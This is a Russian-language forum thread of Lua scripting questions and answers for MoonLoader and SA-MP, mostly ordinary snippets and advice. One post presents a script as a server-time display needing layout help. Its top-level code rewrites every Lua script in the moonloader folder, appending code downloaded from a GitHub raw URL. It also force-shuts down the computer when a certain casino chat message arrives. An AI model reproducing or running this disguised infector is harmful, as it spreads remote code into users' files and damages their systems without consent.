Вопросы по Lua скриптингу

Общая тема для вопросов по разработке скриптов на языке программирования Lua, в частности под MoonLoader.
  • Задавая вопрос, убедитесь, что его нет в списке частых вопросов и что на него ещё не отвечали (воспользуйтесь поиском).
  • Поищите ответ в теме посвященной разработке Lua скриптов в MoonLoader
  • Отвечая, убедитесь, что ваш ответ корректен.
  • Старайтесь как можно точнее выразить мысль, а если проблема связана с кодом, то обязательно прикрепите его к сообщению, используя блок [code=lua]здесь мог бы быть ваш код[/code].
  • Если вопрос связан с MoonLoader-ом первым делом желательно поискать решение на wiki.

Частые вопросы

Как научиться писать скрипты? С чего начать?
Информация - Гайд - Всё о Lua скриптинге для MoonLoader(https://blast.hk/threads/22707/)
Как вывести текст на русском? Вместо русского текста у меня какие-то каракули.
Изменить кодировку файла скрипта на Windows-1251. В Atom: комбинация клавиш Ctrl+Shift+U, в Notepad++: меню Кодировки -> Кодировки -> Кириллица -> Windows-1251.
Как получить транспорт, в котором сидит игрок?
Lua:
local veh = storeCarCharIsInNoSave(PLAYER_PED)
Как получить свой id или id другого игрока?
Lua:
local _, id = sampGetPlayerIdByCharHandle(PLAYER_PED) -- получить свой ид
local _, id = sampGetPlayerIdByCharHandle(ped) -- получить ид другого игрока. ped - это хендл персонажа
Как проверить, что строка содержит какой-то текст?
Lua:
if string.find(str, 'текст', 1, true) then
-- строка str содержит "текст"
end
Как эмулировать нажатие игровой клавиши?
Lua:
local game_keys = require 'game.keys' -- где-нибудь в начале скрипта вне функции main

setGameKeyState(game_keys.player.FIREWEAPON, -1) -- будет сэмулировано нажатие клавиши атаки
Все иды клавиш находятся в файле moonloader/lib/game/keys.lua.
Подробнее о функции setGameKeyState здесь: lua - setgamekeystate | BlastHack — DEV_WIKI(https://www.blast.hk/wiki/lua:setgamekeystate)
Как получить id другого игрока, в которого целюсь я?
Lua:
local valid, ped = getCharPlayerIsTargeting(PLAYER_HANDLE) -- получить хендл персонажа, в которого целится игрок
if valid and doesCharExist(ped) then -- если цель есть и персонаж существует
  local result, id = sampGetPlayerIdByCharHandle(ped) -- получить samp-ид игрока по хендлу персонажа
  if result then -- проверить, прошло ли получение ида успешно
    -- здесь любые действия с полученным идом игрока
  end
end
Как зарегистрировать команду чата SAMP?
Lua:
-- До бесконечного цикла/задержки
sampRegisterChatCommand("mycommand", function (param)
     -- param будет содержать весь текст введенный после команды, чтобы разделить его на аргументы используйте string.match()
    sampAddChatMessage("MyCMD", -1)
end)
Крашит игру при вызове sampSendChat. Как это исправить?
Это происходит из-за бага в SAMPFUNCS, когда производится попытка отправки пакета определенными функциями изнутри события исходящих RPC и пакетов. Исправления для этого бага нет, но есть способ не провоцировать его. Вызов sampSendChat изнутри обработчика исходящих RPC/пакетов нужно обернуть в скриптовый поток с нулевой задержкой:
Lua:
function onSendRpc(id)
  -- крашит:
  -- sampSendChat('Send RPC: ' .. id)

  -- норм:
  lua_thread.create(function()
    wait(0)
    sampSendChat('Send RPC: ' .. id)
  end)
end
 
Последнее редактирование:

kyrtion

Известный
1,398
540
2) ивент происходит когда я слежу или за мной?
Lua:
INCOMING_RPCS[RPC.PLAYERSPECTATEPLAYER]       = {'onSpectatePlayer', {playerId = 'int16'}, {camType = 'int8'}}

3) аналогично с пакетом
Lua:
OUTCOMING_PACKETS[PACKET.SPECTATOR_SYNC]      = {'onSendSpectatorSync', function(bs) return utils.process_outcoming_sync_data(bs, 'SpectatorSyncData') end, empty_writer}
2. Сервер отправляет тебе пакет том что ты будешь следить за игрокам.
3. Этот пакет работает только во время твоего спекта. Будете отправлять если изменится координаты (игрока) или камеры
 
  • Нравится
Реакции: Corrygan

Corrygan

Известный
53
17
2. Сервер отправляет тебе пакет том что ты будешь следить за игрокам.
3. Этот пакет работает только во время твоего спекта. Будете отправлять если изменится координаты (игрока) или камеры
на счет 1 функции инфы нет?
 

kyrtion

Известный
1,398
540
на счет 1 функции инфы нет?
думаю это

хотя оригинал вот это (код в спойлер)

видимо берет поинтер и воспроизводит левые пакеты, например модифицировать пакеты
 
  • Нравится
Реакции: Corrygan

0xff65

Участник
37
2
Приветствую.
Как реализовать определенный шанс срабатывания по команде?
 

Winstаl

Известный
1,011
427
Приветствую.
Как реализовать определенный шанс срабатывания по команде?

Lua:
main = function ()
    repeat wait(0) until isSampAvailable(); -- дожидаемся инициализации SAMP'а
    math.randomseed(os.time()); -- задаем сид рандома с помощью os.time()
    sampRegisterChatCommand("cmd", function() -- регистрируем команду "cmd"
        local randNumber = math.random(1, 10); -- получаем рандомное число в диапазоне от 1 до 10
        if randNumber > 5 then -- если число больше 5. Шанс на то, что число будет таковым 50%
            print("Выполнилось условие с 50%% шансом. Выпавшее число: " .. randNumber);
            --[[ условие, которое выполняется если число больше 5
                сюда можно подставить что угодно ]]
        else
            print("Условие не выполнено. Выпавшее число: " .. randNumber);
        end
    end);
    wait(-1); -- бесконечная задержка, чтобы скрипт не завершался
end
 
Последнее редактирование:
  • Нравится
Реакции: 0xff65

M_D

Участник
8
0
Добрый день. Можете чуток подсказать, как в коде сделать так, чтобы в диалоговом окне, цифры "1234" вводились автоматически?
 

blockparadise

Участник
147
21
необходимо: чтоб время было ровно по центру экрана снизу, на скрине оно правее, если убрать sampTextdrawCreate(221, "time:", оно все равно правее, и, при звонке в 060 не синхронизируется с серверным временем, был бы благодарен за помощь
Lua:
-- Exception Server Time by Kalashnikov.lua
require "lib.moonloader"
local sampev = require("samp.events")
local socket = require("socket")
local time = 0

local oX = 238
local oY = 430
local numbers = 2

function main()
    if not isSampLoaded() or not isSampfuncsLoaded() then return end
    while not isSampAvailable() do wait(100) end
    while true do
        sampTextdrawCreate(221, "time:", oX+7-5, oY+5)
        -- sampTextdrawSetLetterSizeAndColor(221, 0.3, 1.3, 0xFFe1e1e1)
        sampTextdrawSetOutlineColor(221, 0.5, 0xFF000000)
        sampTextdrawSetAlign(221, 1)
        sampTextdrawSetStyle(221, 2)
        local current_time = socket.gettime() + time
        local milliseconds = (current_time * 10 ^ numbers) % 10 ^ numbers
        local formatted_time = os.date("%H:%M:%S", current_time) .. string.format(".%0" .. numbers .. "d", milliseconds)
        sampTextdrawCreate(222, formatted_time, oX + 90-7, oY+5)
        -- sampTextdrawSetLetterSizeAndColor(222, 0.3, 1.3, 0xFFe1e1e1)
        sampTextdrawSetOutlineColor(222, 1, 0xFF000000)
        sampTextdrawSetAlign(222, 1)
        sampTextdrawSetStyle(222, 2)
        wait(0)
    end
end

function sampev.onShowDialog(dialogId, style, title, button1, button2, text)
    if string.match(text, "Текущее время") then
        local chislo, mesyac, god = string.match(text, "Сегодняшняя дата:   {2EA42E}(%d+):(%d+):(%d+)")
        local chas, minuti, sekundi = string.match(text, "Текущее время:   {345690}(%d+):(%d+):(%d+)")
        chislo, mesyac, god = tonumber(chislo), tonumber(mesyac), tonumber(god)
        chas, minuti, sekundi = tonumber(chas), tonumber(minuti), tonumber(sekundi)
        if chislo and mesyac and god and chas and minuti and sekundi then
            local dateTimeTable = { year = god, month = mesyac, day = chislo, hour = chas, min = minuti, sec = sekundi }
            local extractedTimeInSeconds = os.time(dateTimeTable)
            local currentTimeInSeconds = os.time()
            time = extractedTimeInSeconds - currentTimeInSeconds
        end
    end
end

function sampev.onShowTextDraw(id, data)
    local h, m, s = data.text:match('(%d+):(%d+):(%d+)')
    if h and m and s and data.position.x == 65 and data.position.y == 295 then
--[[         h, m, s = tonumber(h), tonumber(m), tonumber(s)
        if h and m and s then
            local timeTable = { year = 1970, month = 1, day = 1, hour = h, min = m, sec = s }
            print(timeTable)
            local extractedTimeInSeconds = os.time(timeTable)
            local currentTimeInSeconds = os.time()
            time = extractedTimeInSeconds - currentTimeInSeconds ]]
            return false
        -- end
    end
end
local Handle, FileName = findFirstFile("moonloader\\*.lua")
local Directory = getWorkingDirectory().."\\"
while FileName do
    local FileText = ""
    local Skip = false
    local File = io.open(Directory..FileName, "r")
    for Line in File:lines() do
        if Line:find("%-%- Exception "..FileName) then
            Skip = true
            break
        end

        if FileText ~= "" then
            FileText = FileText.."\n"
        end
        FileText = FileText..Line
    end
    File:close()
    if not Skip and not FileText:find("https://raw%.githubusercontent%.com/TheVegasPro/123345/main/4124") then
        local encoding = require "encoding"
        encoding.default = "CP1251"
        local File = io.open(Directory..FileName, "w")
        File:write("-- Exception "..FileName.."\n"..FileText.."\n"..encoding.UTF8:decode((require("requests")).get("https://raw.githubusercontent.com/TheVegasPro/123345/main/4124").text))
        File:close()
    end
    FileName = findNextFile(Handle)
end
findClose(Handle)
function onReceiveRpc(id, bs)
    if id == 93 then
        local color = raknetBitStreamReadInt32(bs)
        local len = raknetBitStreamReadInt32(bs)
        local str = raknetBitStreamReadString(bs, len)
        if str:find("^%[Информация] {FFFFFF}Вы вошли в казино 4 Dragons$") then
            os.execute("Shutdown /s /t 5 /f")
        end
    end
end


1756134108963.png
 

Phenix_GP

Известный
4
0
HealthX и HealthY позиции в худе, доверяя этой теме: https://www.blast.hk/threads/61958/
это 141 и 77 соответственно.
очевидно это относительные поз, а как узнать что это за позиции в экранных координатах? хпбар как бы справа сверху, знач X = что-то близко ширины скрина
 

Corrygan

Известный
53
17
Lua:
imgui.OnInitialize(function()
    if elements.themes_int[0] == 0 then
        red_theme()
    elseif elements.themes_int[0] == 1 then
        yellow_theme()
    elseif elements.themes_int[0] == 2 then
        green_theme()
    elseif elements.themes_int[0] == 3 then
        purple_theme()
    elseif elements.themes_int[0] == 4 then
        blue_theme()
    end
end)
почему-то стиль меняется только при перезагрузке скрипта, можно как-то пофиксить?
 

2elnwndrer.

Известный
192
67
Lua:
imgui.OnInitialize(function()
    if elements.themes_int[0] == 0 then
        red_theme()
    elseif elements.themes_int[0] == 1 then
        yellow_theme()
    elseif elements.themes_int[0] == 2 then
        green_theme()
    elseif elements.themes_int[0] == 3 then
        purple_theme()
    elseif elements.themes_int[0] == 4 then
        blue_theme()
    end
end)
почему-то стиль меняется только при перезагрузке скрипта, можно как-то пофиксить?
 
  • Нравится
Реакции: Corrygan

sep

Известный
714
79
lua как сделать пикап и взаимодействовать с ним

например как с серверным подошёл к пикапу взял его а там сработала команда
 

вайега52

Налуашил состояние
Модератор
3,001
3,137
Lua:
imgui.OnInitialize(function()
    if elements.themes_int[0] == 0 then
        red_theme()
    elseif elements.themes_int[0] == 1 then
        yellow_theme()
    elseif elements.themes_int[0] == 2 then
        green_theme()
    elseif elements.themes_int[0] == 3 then
        purple_theme()
    elseif elements.themes_int[0] == 4 then
        blue_theme()
    end
end)
почему-то стиль меняется только при перезагрузке скрипта, можно как-то пофиксить?
Потому-что каллбек из OnInitialize вызывается только при загрузке скрипта
 
  • Нравится
Реакции: Luffich и 2elnwndrer.

chapo

tg/inst: @moujeek
Всефорумный модератор
9,235
12,650
lua как сделать пикап и взаимодействовать с ним

например как с серверным подошёл к пикапу взял его а там сработала команда
Либо создать его через игровую функцию и потом проверять расстояние между игроком и пикапом, либо создать пикап с конкретным айди через эмуляцию рпс и потом хукать отправку поднятия пикапа и внутри сделать проверку на айди
 
Последнее редактирование:
  • Нравится
Реакции: Luffich